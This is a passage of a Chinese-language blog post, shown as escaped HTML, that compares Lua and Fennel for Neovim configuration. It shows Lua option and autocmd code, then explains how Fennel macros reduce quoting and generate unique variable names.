&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;vim&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;o&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;ignorecase&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;vim&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;o&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;smartcase&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;vim&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;opt&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;matchpairs&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;({&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;lt;:&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; group&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; vim&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;api&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;nvim_create_augroup&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;BFG&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;vim&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;api&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;nvim_create_autocmd&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;FileType&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    group&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; group&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    pattern&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;cpp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;verilog&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;},&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    callback&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; vim&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;bo&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;commentstring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;&#x2F;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;vim&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;api&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;nvim_create_autocmd&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;BufWritePre&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    group&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; group&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; [[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;%s&#x2F;\s\+$&#x2F;&#x2F;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;]]&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版本有以下几点问题：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;API&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;用起来太长——这是最小的问题，可以自己包装下、用表格和循环等解决；&lt;&#x2F;li&gt;
&lt;li&gt;引号太多——无解；&lt;&#x2F;li&gt;
&lt;li&gt;无法自动捕获&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;augroup&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;id——无解。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;后两者使&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;比&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vim
Script&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;冗长许多，但它们貌似是部分人相比&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vim
Script&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更喜欢&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的原因——Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更像通用编程语言。写插件时确实需要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这样的通用语言，但只是用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;操纵一些选项、创建一些自动命令，实在有些笨重了。怪不得有人的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配置里哪哪都是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;vim.cmd [[xxxx]]&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Fennel，快用你无敌的宏来想想办法&quot;&gt;Fennel，快用你无敌的宏来想想办法&lt;&#x2F;h2&gt;
&lt;p&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是披着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;皮的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua。说它披着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;皮，是因为它拥有&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;fennel-lang.org&#x2F;macros&quot;&gt;把代码视作列表，通过修改列表返回新代码的宏&lt;&#x2F;a&gt;；说它其实是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua，是因为它不仅可以被翻译为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua，写起来也像&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;拜拜了引号&quot;&gt;拜拜了引号&lt;&#x2F;h3&gt;
&lt;p&gt;我第一次使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel，是在参加&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;lisp-game-jam-2022&#x2F;&quot;&gt;Lisp
Game Jam
2022&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时。那时只把它当带括号的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写，没怎么用它的宏。这次写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Neovim&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配置倒是让它的宏大显身手的好时机，因为宏可以帮你自动加双引号：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;fennel&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;macro&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; dq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;tostring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;nil&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;dq x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;x&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的宏展开是在翻译时发生的，所以在写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代码时可以直接写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;x，而在输出的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代码里得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&quot;x&quot;。&lt;&#x2F;p&gt;
&lt;p&gt;假如我们在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;macros.fnl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中有如下代码：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;fennel&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; M&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local fn&lt;&#x2F;span&gt;&lt;span&gt;? &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;or&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;? $&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;multi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;sym&lt;&#x2F;span&gt;&lt;span&gt;? $&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;λ&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; to&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&#x2F;fn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  &amp;quot;Call tostring only if x isn&amp;#39;t a function.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;   Normal function can survive after tostring, but hashfn can&amp;#39;t.&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;fn&lt;&#x2F;span&gt;&lt;span&gt;? &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;tostring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;λ set-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;keymap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;mode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  &amp;quot;Base function for *noremap&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;lhs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;tostring&lt;&#x2F;span&gt;&lt;span&gt; $&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;         rhs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;to&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&#x2F;fn&lt;&#x2F;span&gt;&lt;span&gt; $&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim.keymap.set&lt;&#x2F;span&gt;&lt;span&gt; ,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;mode&lt;&#x2F;span&gt;&lt;span&gt; ,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;lhs&lt;&#x2F;span&gt;&lt;span&gt; ,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;rhs&lt;&#x2F;span&gt;&lt;span&gt; ,$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; M.cnoremap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;keymap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; :c))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;M&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;init.fnl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中导入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;cnoremap&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后就可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;(tnoremap &amp;lt;Esc&amp;gt; &amp;lt;C-\&amp;gt;&amp;lt;C-n&amp;gt;)&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来生成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;vim.keymap.set(&quot;t&quot;, &quot;&amp;lt;Esc&amp;gt;&quot;, &quot;&amp;lt;C-\\&amp;gt;&amp;lt;C-n&amp;gt;&quot;)&lt;&#x2F;code&gt;。不过这有个小缺陷：像“&lt;code&gt;:&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;&lt;code&gt;;&lt;&#x2F;code&gt;”这种对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel
parser&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有特殊意义的字符还是需要手动加引号。&lt;&#x2F;p&gt;
&lt;p&gt;注意&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;set-keymap&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里最终返回的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;`(vim.keymap.set
,mode ,lhs ,rhs
,$3)&lt;&#x2F;code&gt;，它就是我们要通过宏生成的代码的样子。用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;backtick&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开头的括号会被保留原样而不当作函数执行，内部逗号开头的表达式又会被替换成执行结果。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;自动捕获group_id&quot;&gt;自动捕获&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;group id&lt;&#x2F;h3&gt;
&lt;p&gt;如果我们要在宏里生成新的变量，需要注意两点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;生成的变量不要和已有变量重名；&lt;&#x2F;li&gt;
&lt;li&gt;在宏里要记住生成的变量名，别声明的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;x1，用的时候又变成了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;x2。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;还好&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;替我们处理了这两点：在宏里以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;#&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;结尾的变量名会在生成代码时被替换为不重名的新名字；当我们要把这种变量当参数传参时，只要用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;backtick
